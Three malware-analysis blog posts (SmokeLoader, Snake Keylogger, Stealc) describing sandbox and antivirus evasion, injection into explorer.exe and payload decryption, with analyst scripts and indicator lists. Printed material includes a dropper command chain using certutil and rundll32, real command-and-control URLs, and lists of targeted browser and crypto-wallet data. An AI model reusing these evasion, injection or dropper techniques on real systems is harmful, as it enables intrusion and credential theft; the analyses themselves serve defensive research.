Smoke will go through all loaded modules in the victim machine and and for every module it will compare its name against some of the modules used by famous Anti-virus solutions

sbiedll → Sandboxie Environment
aswhook → Avast Anti-virus
snxhk → Avast Anti-virus

Figure 28. Comparing Modules Names to check AVs Existence

then it will enumerate all subkeys under these two keys which are related to disk drivers in a virtual environment

Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\SCSI
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\IDE

it will search for some strings inside its subkeys.

values to look for → [qemu , virtio, vmware , vbox , xen ]
These strings are related to the emulation of drivers in sandboxes and virtualization environment

Figure 30. embedded Disk Driver names related to VM emulation

Figure 31. keys to search within

using NtQuerySystemInformation() API and placing SystemProcessInformation as a class information type it will Return an array of SYSTEM_PROCESS_INFORMATION structures, one for each process running in the system.

Figure 32. Retrieving process name using NtQuerySystemInformation

then it will compare process names against some of the background processes used by Qemu, Vmware, and Virtualbox environments

qemu-ga.exe → Qemu  
qga.exe → Qemu  
windanr.exe   
vboxservice.exe →Vbox  
vboxtray.exe →Vbox  
vmtoolsd.exe →Vmware  
prl_tools.exe →System Explorer

then it will give a call to the same API but with SystemModuleInformation as an information class which returns RTL_PROCESS_MODULES structure that stores information about loaded drivers, so it compares driver name against some embedded drivers names that exist in virtual environments

Figure 31. embedded drivers names

vmci.s     vmmemc    vboxvi  
vmusbm     vboxgu    vboxdi  
vmmous     vboxsf    viose  
vm3dmp     vboxmo    vmrawd

Stage 3 Decryption

After passing all checks, Smoke will start loading the third stage.

it first will check the Architecture of the victim machine to determine the appropriate payload, there are 2 payloads one for x86 and the other for x64, so it checks the value of GS or Segment Register which will be 0 if the process is running in x86 pc but in x64 system it will contain a positive value.

Figure 34. Checking windows Architecture

then it will decrypt the payload at the chosen address using the same decryption routine used for hashes decryption but with simple additions this time because it is using the Dword value as Xor key, he needs to decrypt the payload dword by dword, but what if the payload size is not a multiple of 4 (Dword size = 4 bytes) so it will result in a wrong decrypted value at the last (3 or 2 or 1) bytes, to fix this it will get the reminder value after decrypting with a dword value as xor key and then decrypt the reminder bytes with 1 byte as a xor key

Figure 35. Decrypting the payload with attention to its size

we do it statically by writing a script to decrypt this payload u can check it here

def xor_chunk_s3( data, dword_key, b_key):  
 decrypted=b''  
   
 for i in range(0,(len(data)//4)*4,4):  
  
 _4_bytes= struct.unpack("<I",data[i:i+4])[0]  
  
 xor_result = _4_bytes ^ dword_key  
  
 decrypted+=struct.pack("<I",xor_result)  
  
 last_bytes_len = len(data)%4  
  
 if last_bytes_len > 0:  
  
 last_decrypted=[]  
  
 for byte in data[-last_bytes_len:]:  
  
 last_decrypted.append(byte ^ b_key)  
  
 print(last_decrypted)  
  
 decrypted+=bytes(last_decrypted)  
 return decrypted

Stage 3 Decompression

after decrypting the payload it will use the first 4 bytes as size that is used on NtAllocateVirtualMemory() API with read_write permission, then the pointer to the allocated memory and the decrypted payload are pushed to another anonymous function which after some research for this function using some const assembly instruction to identify it because it was not a decryption routine or whatever and also something that proves that this function is responsible for decompression is that the allocated size is larger than the decrypted data size which paves the way for a decompression operation that will happen in the allocated region

Figure 36. Code Chunk for Decompression routine

these assembly instructions give me a hint about the used algorithm which is LZSA2, an old compression algorithm used for old CPUs according to this Blog

Figure 37. The function responsible for LZSA2 decompression

so from another GitHub repo, we found a C implementation for this algorithm, cloned it, and then built the project

Figure 38. LZSA repo, Big Thanks to him

and here is the used command to decompress the decrypted payload

lzsa_debug.exe -d -r -f 2 decrypted_payload.bin decrypted_decompress.bin

Stage 3 Injection:

then after decompression, Smokeloader will start injecting this destroyed stage cause we got a PE file without headers, so to do it in Regular steps

1- It gets a handle for Explorer.exe by executing a call to GetShellWindow()Retrieves a handle to Shell’s desktop window, in our case it’s Explorer.exe, and then it gets a handle to this process using GetWindowThreadProcessId()

window_handle =GetShellWindow)();  
 if ( window_handle )  
 break;  
 (a2->ptr_Sleep)(0x3E8u);  
   
dwProcessId[1] = window_handle;  
 v6 = dwProcessId;  
 dwProcessId[0] = 0;  
 (GetWindowThreadProcessId)(window_handle, dwProcessId);

2- it then gets a token handle to explorer.exe using NtOpenProcess() and duplicates this handle to use it later

3-It then creates a section with PAGE_READWRITE permission and then maps this section to the current malware process and Explorer.exe process using NtCreateSection() and NtMapViewOfSection() APIs

Figure 39. Creating and Mapping sections

4- Create another section but this time with a different permission PAGE_EXECUTE_READWRITE, and map this section to the current process and explorer.exe.

Figure 40. Mapping sections to explorer.exe

5- it then hashes the encrypted payload not the decompressed only to check integrity but it is worth mentioning.

encrypted_payload = &byte_40563A;  
 payload_size = 0x2E46;  
 hash_value = 0x2260;  
 do  
 {  
 v11 = *encrypted_payload++;  
 hash_value = v11 + 33 * hash_value;  
 --payload_size;  
 }  
 while ( payload_size );

6- it next copies the decompressed payload into the mapped section and then builds IAT for this payload, then it creates a new thread into Explorer.exe using RtlCreateUserThread() and pushes the address of payload in explorer.exe memory as a StartAddress argument for this API call.

Figure 41. Creating a threat into explorer.exe with payload address as its entry point

Stage 3 configuration:

After extracting the third stage file which is a destroyed PE file without headers, this time I have 2 options

1. fixing the file, I found a good walkthrough to do in this blog, or
2. analyzing the binary inside explorer process which was very annoying cause explorer.exe handles many things and debugging it may force something to crash

so I decompressed the file as I said before and found that, malware configuration is saved in a string table, encrypted using RC4

and smoke is saving it like a key and then the length of the next string and then the length of the next string, etc…until the end of the encrypted data,

so I have written a simple script that can handle this and give us the decrypted config

dump= binascii.unhexlify(dump)  
index = 0  
key =0x246FC425  
while index < len(dump):  
 enc_length = str_data[index]  
 x = rc4crypt(dump[index+1:index+1+enc_length], struct.pack('<I',key))  
 print(x.replace(b'\x00',b''))   
 index = index+1+enc_length

and here is a list of the encrypted strings in my GitHub

C&C

Malware Command and control hosts are also RC4 encrypted so it decrypts in a similar way as the configuration,

struct Command_n_control  
{  
 Byte Data_length;  
 DWORD XOR_Key;  
 char Data[Data_length];  
};

and here is the decrypted C2

Figure 42. decrypted C2 address

the C2 is down so we don’t know the next stage.

IOCs:

File:  
Wextract file: C6BA6E91D40AA1507775077F9662ECB25C9F0943  
dropped sample :B450EB89D7EA250547333228E6820A52F22BABB2  
  
Other Hashes :  
4cd9af3b630e3e06728b335c2a3a5c48297a4f36fb52b765209e12421a620fc8  
daa69519885c0f9f4947c4e6f82a0375656630e0abf55a345a536361f986252e  
8ecd99368b83efde6f0d0d538e135394c5aec47faf430e86c5d9449eb0c9f770  
ab2c8fb5e140567a6e8e55c89138d5faa0ef5e6f2731be3c30561a8ce9e43d29  
60c65307f80b12d2a8d8820756e900214ad19a1fcfcda18cdbee3a25974235ac  
  
CnC:  
hxxp://185.215.113.68/fks/index.php  
hxxp://rixoxeu9.top/game.exe  
hxxp://planilhasvbap.com.br/wp-admin/js/k/index.php  
hxxp://telegatt.top/agrybirdsgamerept  
hxxp://95.217.43.206/

you can find the full repo that contains all scripts here

References

Deep Analysis of SmokeLoader
_SmokeLoader is a well known bot that is been around since 2011. It’s mainly used to drop other malware families…_n1ght-w0lf.github.io

Windows Process Injection: PROPagate
_Introduction In October 2017, Adam at Hexacorn published details of a process injection technique called PROPagate. In…_modexp.wordpress.com

SmokeLoader Triage
_Taking a look how Smoke Loader works_research.openanalysis.net

SmokeLoader | dcd883af6eb9
_This feature requires an online-connection to the VMRay backend. An offline version with limited functionality is also…_www.vmray.com

this blog will discuss how SnakeKeyLogger uses Advpack.dll to drop and execute his main payload.

Snake Keylogger slithers past traditional defenses using social engineering and technical trickery. This post delves into the specifics of its phishing email tactics and malicious macro exploitation, providing valuable insights for security professionals and tech-savvy users to bolster their defenses against this evolving threat.

About The specimen

the sample we have today is a doc file.

hash: 8af7f091c0c869006be53ef947b10ee18ddf6a2c2870a9b163484a372f94b90a

VBA Existence

the first check we need to observe when it comes to office files is the existence of Macros which are used by the TA to execute VBA commands and act as a dropping or downloading phase, using Oleid to check macros we got a result that this file contains a macros.

macros are being analyzed in many ways but I prefer to use Office VBA IDE which has many capabilities such as viewing all objects and debugging the code itself which help us more than manual deobfuscation.

Doc File Analysis

the file has only one page that contains an image which informs the user that there is an issue with loading the original page and asks him to enable macros and also to check the disk space to be able to view the decoy page which does not exist by the way and there are no macros that view any other pages or whatever.

Macros Analysis

it first checks the version of VBA and based on it will check the system of the victim if it’s x86 or x64 it will declare a specific function, overall it will declare a function called tAcKs() and this function is defined as LunachINFSectionW from Advpack.dll and according to MSDN this function is used to launch a portion of Information file

and here is the declaration of LaunchINFSection

int WINAPI LaunchINFSection(  
   HWND      hwndOwner,  
   HINSTANCE hInstance,  
   PSTR      pszParams,  
   INT       nShow  
);

and Snake uses this method to run the Inf file under a legitimate container or process, according to lolbas-project it uses this technique to bypass AWL which refers to Application WhiteListing ‘Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (section name specified).’

AutoOpen() function

there is only one call inside the AutoOpen() function which is the first call executed when the macros are enabled you can call it the entry point or the main of doc macros, it calls a function called PsfmA(), this function only contains another two calls WHTLE() and tAcKs(), remember that tAcks is the pointer to LaunchINFSectionW API call from ADVpacK.dll

if u notice that there is an argument FlkMT passed to the WHTLE() function I will explain it another time, just let’s explore WHTLE() function.

WHTLE() Function

this function takes 2 arguments and from the first look, this function handles file writing operations which may contain the payload or any other command to be executed if u take a look back at the psfma() function you can see that the tAcKs() function takes the same file passed to WHTLE as argument.

Static Function WHTLE(iMwDk, dOPaA):  
  
Dim wmEjI, xgxIS: wmEjI = FreeFile:  
Open iMwDk For Binary Access Read Write As #wmEjI:  
    For xgxIS = LBound(dOPaA) To UBound(dOPaA):  
        Put #wmEjI, , CByte(dOPaA(xgxIS)):  
        Next:  
Close #wmEjI:  
End Function

if you see it opens a handle to the iMwDk which the file path passed to WHTLE function and then uses the size of dOPaA as the last index for writing operation specified by Put Keyword and it uses CByte() to convert an expression into a byte data type.

so now we need to check what is dOPaA argument, as we saw before……… it is referred to as FLKMT and this argument is a function call, so FLKMT is responsible for building the payload which will be written in TEMP Directory using WHTLE function.

FlkMT() function → Payload builder

inside this function, it assigns the value of FlkMTT with jAplA which is a function call that returns an array of decimal values, and after assigning it will execute many calls to a function called rFdPB() which takes two arguments and the first argument is FlKMT and the second argument is varied for every call, and the second argument is a function which retrieves a punch of bytes as same as jAplA.

and here is the implementation of rFdPB() which called many many times and it is

This VBA macro defines a function named “rFdPB” that concatenates two arrays, “dkbDR” and “quELr,” and stores the result in “dkbDR.” It uses static variables “ioQHr” and “QDLuE” to keep track of array indices and their sizes. The function first determines the size of “dkbDR” and then resizes it to accommodate the combined size of both arrays. Finally, it loops through each element of “quELr” and appends it to “dkbDR” The “Next: End Function” at the end seems to be a mistake as it would create a syntax error; it should be removed.

and here is the deobfuscated version of this function if u found it hard to understand it.

Function Copy_to_1st_array(ByRef payload As Variant, ByRef array_to_copy As Variant):  
  
Static indexAs Long:  
Static payload_lengthAs Long:  
payload_length= UBound(payload) + 1:                        
ReDim Preserve payload(payload_length+ UBound(array_to_copy)):      
For index= LBound(array_to_copy) To UBound(array_to_copy):       
    payload(payload_length + index) = array_to_copy(index):          
Next:  
End Function

so in brief this function appends and builds the payload of INF file.

Executed Command line

I have tried to build the first 5 calls and I got a significant result

[VErsiON]  
  
  
 SIgNAtuRe = $Chicago$  
  
  
 aDVANcEDInf = 2.5  
  
  
 [deFAULTInSTALL_sInGLEUSeR]  
  
  
  
 rUnPostSETUPcommAnDS = werd  
  
  
  
 [werd]  
  
  
 %11%\cMd.exe /C morE /E +29 %TEmP%\VN.inf > %TEmP%\cvr.tmp  
 && CERTUtIL -DEcoDEHex %TEmP%\cvr.tmp %TEmP%\xhd.jpg  
 && ruNDLl32 %TEmP%\xhd.jpg,main && del %TEmP%\cvr.tmp  
 && dEL %TEmP%\xhd.jpg && del %TEmP%\VN.inf  
  
  
  
 [Strings]  
  
  
 servICEName = ">"  
  
 SHoRtsvCnaME = "<"  
  
  
4D5A> 

many flags have been triggered right now the full command line seems to be malicious and the existence of 4D5A which refers to MZ signature and the existence of a PE payload, so I put a breakpoint on the call to tAcKs function which is declaretion to LaunchINFSectionW.

so what is meant by INF files ?!

INF file :

An INF file, short for information file, is a plain text file used by Microsoft Windows operating systems for the installation of software and drivers. They are essential components in the Windows Setup API, providing the instructions and information needed to properly install and configure devices and software.

so let’s check the INF file dropped in the Temp Directory and try to simulate the command found above to know what is going on.

so let’s breakdown the executed command

%11%\cMd.exe /C morE /E +29 %TEmP%\VN.inf > %TEmP%\cvr.tmp  
 && CERTUtIL -DEcoDEHex %TEmP%\cvr.tmp %TEmP%\xhd.jpg  
 && ruNDLl32 %TEmP%\xhd.jpg,main && del %TEmP%\cvr.tmp  
 && dEL %TEmP%\xhd.jpg && del %TEmP%\VN.inf

%11%cmd.exe

%11% referee to system32 path to run cmd.exe with admin permission

morE /E +29 %TEmP%\VN.inf > %TEmP%\cvr.tmp

this command saves the content of VN.inf starting from the end of line 29 till the end of VN.inf file to cvr.tmp file

CERTUtIL -DEcoDEHex %TEmP%\cvr.tmp %TEmP%\xhd.jpg

this command uses the feature of hex decoding in certutil which is a command-line program that is installed as part of Certificate Services, and saves the result to xhd.jpg file which will contain the main payload

ruNDLl32 %TEmP%\xhd.jpg,main

here the TA uses Rundll32 which is used to run a DLL and execute xhd.jpg and the export function here is main which will be executed by rundll32 command

del %TEmP%\cvr.tmp && dEL %TEmP%\xhd.jpg && del %TEmP%\VN.inf

then it will erase his row existence as the process has been executed and delete the 3 dropped files (VN.inf , cvr.tmp, and xhd.jpg).

Main payload analysis

the dropped file is a 32-bit Dll, and exploring its string I found some interesting ones, that clarify this payload as a Downloader.

so we need to locate the C2 which will be used to download the next stage

dropped File Analysis

the dropped file is a 32-bit Dll and it has some misleading techniques like embedding the strings within the text section that make disassembling hard and require some manual work to fix offsets and code lines

as I have said before the most important thing in this phase is to identify the C2 and here we are.

and here is the request and the CnC ** vybsnf3p.sa.com /fdsfh.exe**

unfortunately, I found that the C2 is down and the dropped file is the server response for Error 404 but whatever the dropped file it will pass it to WinExec API call.

and tracing the domain in some public repos I found that this domain belongs to SnakeKeylogger Stealer and it has many other files like med.bat script, but currently as i have said before the C2 is down

and here is the downloaded reposonse which if the C2 was up it will be the next stage payload

IOCs

File IOCs:  
doc file         : 
8af7f091c0c869006be53ef947b10ee18ddf6a2c2870a9b163484a372f94b90a
     
 
dropped INF file : 
EE497723EA8F25B3732829DB0AA09F0502607505E816E8D9997F070C4222C98C 
 
dropped DLL      : 
B1305F33FD9B834FE7A926F1253BB1E97FF4DDD669C8051FEBA989F819CD667A  

Dropping path : %TEMP%
weidr.com
  
C2:  
 
vybsnf3.sa.com
/fdsfh.exe

Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth’s statement, Stealc is a non-resident stealer with flexible data collection settings, and its development relies on other prominent stealers: Vidar, Raccoon, Mars, and Redline

Stealc exhibits the ability to exfiltrate a wide range of data from the victim machine. What sets it apart is its efficient approach: with each data allocation, Stealc directly transmits the information to the C2 server, bypassing the need to write it to a raw file. This streamlined process enhances both its data exfiltration capabilities and its ability to maintain a low profile, making it a potent tool for covert operations

it can steal :

• (Chrome/Firefox/Opera) logins, credit cards, cookies, and History
• Wallet Extensions installed on the above browsers
• local Crypto wallets file
• some files that may contain passwords or important secret data
• outlook accounts
• Discord Tokens
• Telegram Tokens
• Steam ssfn files and configuration data
• qtox config files
• Pidgin config files
• Take screenshots of the victim’s machine

Technical analysis :

Opaque Predicates

the first time I looked into this malware I found something wrong with the provided code from IDA and X64 Dbg, Stealc uses Opaque to add complexity to the control flow

This obfuscation simply takes an absolute jump (JMP) and transforms it into two conditional jumps (JZ/JNZ). Depending on the value of the, the execution will follow the first or second branch

To fix this I have used Python script to go through the raw file and search for the pattern “\x74\x03\x75\x01\xB8” and replace it with 5 “0x90” nop instruction

  
search_pattern = b'\x74\x03\x75\x01\xb8'  
replacement = b'\x90\x90\x90\x90\x90'  
  
input_file = r'<Stealc File Path >'  
output_file = r'<Clean Stealc>'  
  
with open(input_file, 'rb') as infile:  
    # Read the entire contents of the file  
    file_data = infile.read()  
  
start_pos = 0  
  
while True:  
    found_pos = file_data.find(search_pattern, start_pos)  
    if found_pos == -1:  
        break  
  
    file_data = file_data[:found_pos] + replacement + file_data[found_pos + len(search_pattern):]  
    start_pos = found_pos + len(replacement)  
  
with open(output_file, 'wb') as outfile:  
    outfile.write(file_data)  

the result I got was impressive and fixed all these junk bytes

Malware Configuration :

Malware configuration is base64 encoded and then RC4 decrypted and the decryption key is the first dword in the function that wraps decryption

to make the analysis easier and clear I have written a script to decrypt this configuration and comment and rename global variables

import pefile  
import idautils  
import idc  
import ida_idaapi, ida_kernwin, ida_bytes, ida_name  
file = r"file path"  
  
def rc4_decrypt(ciphertext, key):  
    # Initialization  
    S = list(range(256))  
    j = 0  
    key_length = len(key)  
    plaintext = bytearray(len(ciphertext))  
  
    for i in range(256):  
        j = (j + S[i] + key[i % key_length]) % 256  
        S[i], S[j] = S[j], S[i]  
  
  
    i = j = 0  
    for idx, byte in enumerate(ciphertext):  
        i = (i + 1) % 256  
        j = (j + S[i]) % 256  
        S[i], S[j] = S[j], S[i]  
        keystream_byte = S[(S[i] + S[j]) % 256]  
        if byte == 0x00 :                       #this the modified part of RC4 to ignore null bytes form decryption   
             continue  
        else :  
            plaintext[idx] = byte ^ keystream_byte  
  
    return bytes(plaintext)  
  
def get_PE_Data(file_name):  
    pe=pefile.PE(file_name)  
    for section in pe.sections:  
         if b'.rdata' in section.Name:  
            Key = section.get_data()[3056:3076]  
            encryption_block = section.get_data()[2056:3032]  
    return Key,encryption_block  
          
def map_base64_to_enc(b_data,len_of_base):  # this function is base 64 decoder so u can replace is with built-in module   
    RC4_Key,data = get_PE_Data(file)  
    count = 0  
    mapped_data=[]  
    for i in range(0,len(b_data),3):  
        mapped_data.append(((data[b_data[count + 1]] >> 4 )&0xFF) | ((data[b_data[count]] * 4)&0xFF))  
  
        mapped_data.append(((data[b_data[count + 1]] * 16)&0xFF) | ((data[b_data[count + 2 ]] >> 2)&0xFF))  
  
        mapped_data.append((data[b_data[count+3]]) | ((data[b_data[count + 2]] << 6) & 0xFF))  
  
        count+=4   
          
        if count >= len(b_data):  
            break  
    if (b_data[-1]==0x3d):  
   
        mapped_data[-1] = 0  
    if (b_data[-2]==0x3d):  
  
        mapped_data[-2] = 0  
  
    byte_array=bytes(mapped_data)  
  
    return (rc4_decrypt(byte_array,RC4_Key).decode('utf-8',errors='ignore'))  
      
def Modify_Xrefs(Decryption_routin):  
    Xrefs = idautils.CodeRefsTo(Decryption_routin,0)  
  
    count=0  
    for x in Xrefs:  
        ea = idc.prev_head(x)  
        inst_type = ida_ua.ua_mnem(ea)  
        type = idc.get_operand_type(ea,1)  
        operand_address = idc.get_operand_value(ea,1)  
        size = 200  
        data__ = idaapi.get_bytes(operand_address,size)  
        if operand_address != -1 :  
            index=data__.index(b'\x00\x00')  
            count +=1  
            data__=data__[:index]  
            decrypted_str = map_base64_to_enc(data__,len(data__))  
            idc.set_cmt(x,decrypted_str,0)  
            print(decrypted_str)  
            dword_address = idc.next_head(x)  
            dword_value = idc.get_operand_value(dword_address,0)  
            rename_operand(dword_value,decrypted_str)  
        else:  
            continue  
def rename_operand(address,string):  
    ida_name.set_name(address, string, ida_name.SN_CHECK)  
Decryption_fun_address = 0x00403047  
Modify_Xrefs(Decryption_fun_address)

u can check my repo for Stealc

Dynamic API loading :

Stealc has no static imports so it dynamically resolves the required APIs using GetProcAddr() API, but first it needs to get the address of GetProcAddr to be able to use its import APIs, this is done by involving 6 structures, it first gets PEB address then from, PEB it accesses Ldr structure, and from this structure, it gets the address of InloadOrderModuleList, this is a LinkedList of Modules loaded into memory and every structure contains data about its module, and due to sorting on memory loading, the first module loaded into memory is ntdll.dll and after that kerenl32.dll is loaded, so it accesses the structure of kernel32.dll and then accesses the element at 0x18 which is a pointer to kerenl32.dll base address in memory.

get elfanew offset by adding 0x3C to the DLL base address which points to PE header → IMAGE_NT_HEADERS then adding 0x78 to get a pointer to the Export address table which handles exported APIs by Dll, then it gets 3 addresses from the Export table which points to 3 arrays

• Address of Names [0x20]
• Address of functions [0x1C]
• Address of NameOrdinals [0x24]

AV Evasion :

after loading APIs and Initializing the configuration, Stealc will start to check if it’s running under Emulation Environment By doing some checks for Emulators specifically Windows Defender so that I will go through the techs used in the behavior.

• check API Emulation
• Check memory status
• Check computer and user names
• check Compilation time

1- Check the Existence of physical memory:

In the function that I have called mw_play_with_mem(), Stealc checks the Emulation by calling this VirtualAllocExNuma API, and this API is specifically because some APIs are not Emulated by AVs yet so it will return zero which will force malware to exit

LPVOID VirtualAllocExNuma(  
  [in]           HANDLE hProcess,  
  [in, optional] LPVOID lpAddress,  
  [in]           SIZE_T dwSize,  
  [in]           DWORD  flAllocationType,  
  [in]           DWORD  flProtect,  
  [in]           DWORD  nndPreferred  
);

2- Check System Memory :

inside mw_Check_system_memory(), Stealc will call GlobalMemoryStatusEx API, which will return information about virtual and physical memory, This API takes a structure as the only argument called LPMEMORYSTATUSEX

BOOL GlobalMemoryStatusEx(  
  [in, out] LPMEMORYSTATUSEX lpBuffer  
);  
  
typedef struct _MEMORYSTATUSEX {  
  DWORD     dwLength;  
  DWORD     dwMemoryLoad;  
  DWORDLONG ullTotalPhys; //contains The amount of actual physical memory  
  DWORDLONG ullAvailPhys;  
  DWORDLONG ullTotalPageFile;  
  DWORDLONG ullAvailPageFile;  
  DWORDLONG ullTotalVirtual;  
  DWORDLONG ullAvailVirtual;  
  DWORDLONG ullAvailExtendedVirtual;  
} MEMORYSTATUSEX, *LPMEMORYSTATUSEX;

ullTotalPhys member contains The amount of actual physical memory, in bytes which should be more than 2 Giga bytes, Stealc will do some shift operation, and if the shift operation is less than 0x457 it will exit.

3- Check Windows Defender Emulation :

After the above 2 checks, Stealc will try to check if it is running under Windows Defender by retrieving the Computer name and User name using GetComputerName and GetUserNameA, then it will compare them against those used by Windows Defender in its Emulator

HAL9TH → Computer Name in Win Defender

JohnDeo → User Name in Win Defender

and if the result matches it will exit.

4- Expiration check:

there is a fixed time and if you try to run it after this time it will exit and do nothing This is achieved by calling GetSystemTime API and then constructing the fixed time which was decrypted before (08/03/2023), after that it will convert these two times from SystemTime to TimeFile format

typedef struct _SYSTEMTIME {  
  WORD wYear;  
  WORD wMonth;  
  WORD wDayOfWeek;  
  WORD wDay;  
  WORD wHour;  
  WORD wMinute;  
  WORD wSecond;  
  WORD wMilliseconds;  
} SYSTEMTIME, *PSYSTEMTIME, *LPSYSTEMTIME;  
  
typedef struct _FILETIME {  
  DWORD dwLowDateTime;  
  DWORD dwHighDateTime;  
} FILETIME, *PFILETIME, *LPFILETIME;

and then it will do 2 checks and if one of these checks met it will exit.

Skip infection

Stealc skips infecting some countries related to political issues like, It’s done by getting Language ID using GetUserDefaultLangID API and then comparing these IDs to some IDs that it wants to skip, and if there is any matching it will exit.

 v0 = GetUserDefaultLangID_() - 0x419;  
  if ( !v0 || (v1 = v0 - 9) == 0 || (v2 = v1 - 1) == 0 || (v3 = v2 - 0x1C) == 0  
   || (result = v3 - 4) == 0 )  
    ExitProcess_(0);    // 0x419   = 1049 -> Russian Language  
                        // v0 - 9    --> 1058 -> Ukrainian  
  return result;        // v2 - 1    --> 1059 -> Belarusian  
}                       // v2 - 0x1c --> 1087 -> Kazakh  
                        // v3 - 4    --> 1091 -> Uzbek 

Event Creation

After all of these checks, Stealc will try to check if it’s running already or not by trying to open an event using OpenEventA and if it is, we will be inside an infinite loop of sleeping, but if it’s the first time it will create a new event using CreateEventA with a structured name to be used as a unique name for the event

HAL9TH[ComputerName][UserName]

Establish C2 Communication

After the above phase of checking AVs, Loading APIs, and Config Decryption, Stealc starts its normal behavior so we will trace it step by step to extract all of its stealth behavior.

As we know our C2 is www[.]fff-ttt[.]com so Stealc will try to reach this server more than once time and every time it sends or receives data or Ethier download need modules, I will trace all C2 calls, and check what will be done, keep reading

-Generate Victim ID :

before any communication, it will get the ‘C’ Drive Serial number and then do some operation on it which results in an ID that will be used to identify the victim machine in all network connections.

then the malware will try to initialize url using InternetCrackUrlA

-Generate Packet ID :

before sending a request Stealc used a standard for its communication, it generates a unique ID for every packet sent to C2, using some mathematical Equations

then it will prepare the full packet content to be used in the connection and will initiate the socket using InternetOpenA, It will connect with the C2 and prepare the request

then the malware will send the packet to C2 using HttpSendRequest

BOOL HttpSendRequestA(  
  [in] HINTERNET hRequest,  
  [in] LPCSTR    lpszHeaders,  
  [in] DWORD     dwHeadersLength,  
  [in] LPVOID    lpOptional,  
  [in] DWORD     dwOptionalLength  
);

, I will take a look at the full packet inside the debugger and Wireshark,

Here are the headers and optional header content of the packet

the malware sends the victim ID in the first packet which was obtained by some operation “c” drive serial number as I have explained before, so the packet format confirmed our code analysis in the above part.

but faced an issue here that the page 984dd96064cb23d7.php was not found and the server resulted in us with a 404 error

So here others will say that the C2 is down and doesn’t complete the analysis. Still, I have an idea to complete the analysis without any problems, I have got an analysis for another file from the same Stealc variant on Any.run sandbox, and we can use the pcap file to emulate the connection without any problem, just we need to copy server response to our debugger and let Stealc do its job under our control.

here is the reply that should be received for the request above, If you take a look at the response you will find that it’s a Base64

so I have copied the response to the buffer of InternetReadFile API

BOOL InternetReadFile(  
  [in]  HINTERNET hFile,  
  [out] LPVOID    lpBuffer,  
  [in]  DWORD     dwNumberOfBytesToRead,  
  [out] LPDWORD   lpdwNumberOfBytesRead  
);

After that, Stealc will Decode the response using Win API CryptStringToBinaryA, and it calls it twice cause the first time it retrieves the required byte length for the buffer that will hold the decoded data

and here is the result of the decode

aa36b6d1c34621ab9876080e89e62c526f27572fa74ad766587fc1e832822fbc85b96f8f|isdone|docia.docx|0|1|1|1|1|1|1|1|

If keep your eyes on the result you will observe that there is a delimiter ‘ | ’ between every string and this may be used next, so stealc will probably strip this output based on the delimiter

inside sub_0040912D() which I have renamed to mw_Strip_C2_reply(), Stealc does what we already have predicted before but first it checks if the first word of the replay = “block’’ and if it is met, it will exit the process.

then it will save the string tokens ‘ 1 1 1 1 1 1 1’ in memory, but until now I don’t know how it will be used but we will, I think these ‘ones’ are used as a boolean value which indicates a stealth option like

1 → grap cookies →

0 → grap search history → don’t allocate search history

It may based on the builder used and the Preferences of the buyer

Download Browsers Configurations:

inside sub_0x403D5F() → renamed to mw_Download_1(), Stealc again will ask C2 to feed it with some configuration to be used in stealth behavior, it will do the same steps done before in the first connection but this time will ask for a different data, and if we look at the TCP stream.

but before that, if you remember the last decoded data in the first stream was like this

“aa36b6d1c34621ab9876080e89e62c526f27572fa74ad766587fc1e832822fbc85b96f8f”

This stream of hexa values will be used in all communication tunnels and acts like a reference for the victim ID obtained before, so C2 receives the Victim ID which was the calculated “C” drive serial number, and then does some equation on this calculated serial and then send the new ID in the first packet received by the victim which will be used repeatedly in all the connection.

If we manually decode the above stream will result in another configuration data related to the browser’s paths where Application User Data is saved

Google Chrome|\Google\Chrome\User Data |chrome|  
Google Chrome Canary|\Google\Chrome SxS\User Data|chrome|  
Chromium|\Chromium\User Data|chrome|  
Amigo|\Amigo\User Data|chrome|  
Torch|\Torch\User Data|chrome|  
Vivaldi|\Vivaldi\User Data|chrome|  
Comodo Dragon|\Comodo\Dragon\User Data|chrome|  
EpicPrivacyBrowser|\Epic Privacy Browser\User Data|chrome|  
CocCoc|\CocCoc\Browser\User Data|chrome|  
Brave|\BraveSoftware\Brave-Browser\User Data|chrome|  
Cent Browser|\CentBrowser\User Data|chrome|  
7Star|\7Star\7Star\User Data|chrome|  
Chedot Browser|\Chedot\User Data|chrome|  
Microsoft Edge|\Microsoft\Edge\UserData|  
chrome|360 Browser|\360Browser\Browser\User Data|chrome|  
QQBrowser|\Tencent\QQBrowser\User Data|chrome|  
CryptoTab|\CryptoTab Browser\User Data|chrome|  
Opera Stable|\Opera Software|opera|  
Opera GX Stable|\Opera Software|opera|  
Mozilla Firefox|\Mozilla\Firefox\Profiles|firefox|  
Pale Moon|\Moonchild Productions\Pale Moon\Profiles|firefox|  
Opera Crypto Stable|\Opera Software|opera|  
Thunderbird|\Thunderbird\Profiles|firefox|

Just like you see this config will be used to steal the browser’s databases and it will try for all Chromium-based browsers that share the same structure of databases and also will explore Mozilla-based web engines and “Thunderbird” mail client which is based on Mozilla also, finally, Opera web engine is on its consideration, also if you observed that for every web-engine at the end of the path it appends |chrome| or |firefox| as I have said that every engine will be treated differently in exfiltration process, so it calls mw_parse_configuration after decoding the stream to enable Stealc to separate.

and here is how this configuration is parsed in a format that enables it to be used later.

00000000 00000000 00000000  
    |        |       |--> BrowserName length  
    |        |-->4 null bytes  
    |-->  pointer to BroswerName or path 

Download Browsers Extensions

then the agent will ask C2 to feed it with plugins that will be used and I observed that it appends a string in the communication request that specifies which content will be retrieved from C2.

so again if we take a look at how our request and response look in our sniffer, it will confirm our previous analysis that the agent will ask for a plugin as a configuration request type.

the response is also base64 stream, I will decode it as past to reveal its secrets and also give us an indication about what will be done next.

Extenstion Name 					| Extenstion ID |   flags or something   
  |                 					    |                 	  |  
  |                  					    |                 	  |  
  
MetaMask						|djclckkglechooblngghdinmeemkbgci|1|0|0|  
MetaMask						|ejbalbakoplchlghecdalmeeeajnimhm|1|0|0|  
MetaMask						|nkbihfbeogaeaoehlefnkodbefgpgknn|1|0|0|  
TronLink						|ibnejdfjmmkpcnlpebklmnkoeoihofec|1|0|0|  
Binance Wallet			|fhbohimaelbohpjbbldcngcnapndodjp|1|0|0|  
Yoroi							  |ffnbelfdoeiohenkjibnmadjiehjhajb|1|0|0|  
